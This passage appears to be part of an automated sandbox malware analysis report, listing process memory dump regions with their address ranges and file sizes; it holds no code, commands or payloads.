                                                                                                                                              304KB

                                                                                                                                            • memory/2968-136-0x0000000004B50000-0x0000000004EA4000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              3.3MB

                                                                                                                                            • memory/3120-93-0x0000000000690000-0x0000000000D43000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/3120-491-0x0000000004020000-0x00000000040AB000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              556KB

                                                                                                                                            • memory/3120-161-0x0000000003610000-0x0000000003674000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              400KB

                                                                                                                                            • memory/3120-567-0x0000000000690000-0x0000000000D43000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/3120-95-0x0000000010000000-0x0000000014A84000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              74.5MB

                                                                                                                                            • memory/3120-506-0x0000000004260000-0x0000000004335000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              852KB

                                                                                                                                            • memory/3120-106-0x0000000002CC0000-0x0000000002D45000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              532KB

                                                                                                                                            • memory/3716-534-0x0000000002090000-0x0000000006B14000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              74.5MB

                                                                                                                                            • memory/3780-43-0x0000000000170000-0x0000000000823000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/3780-44-0x0000000010000000-0x0000000014A84000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              74.5MB

                                                                                                                                            • memory/3780-88-0x0000000000170000-0x0000000000823000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/3860-58-0x00000000055F0000-0x000000000563C000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              304KB

                                                                                                                                            • memory/3860-53-0x0000000004F80000-0x00000000052D4000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              3.3MB

                                                                                                                                            • memory/4860-84-0x000002A3AC300000-0x000002A3AC322000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              136KB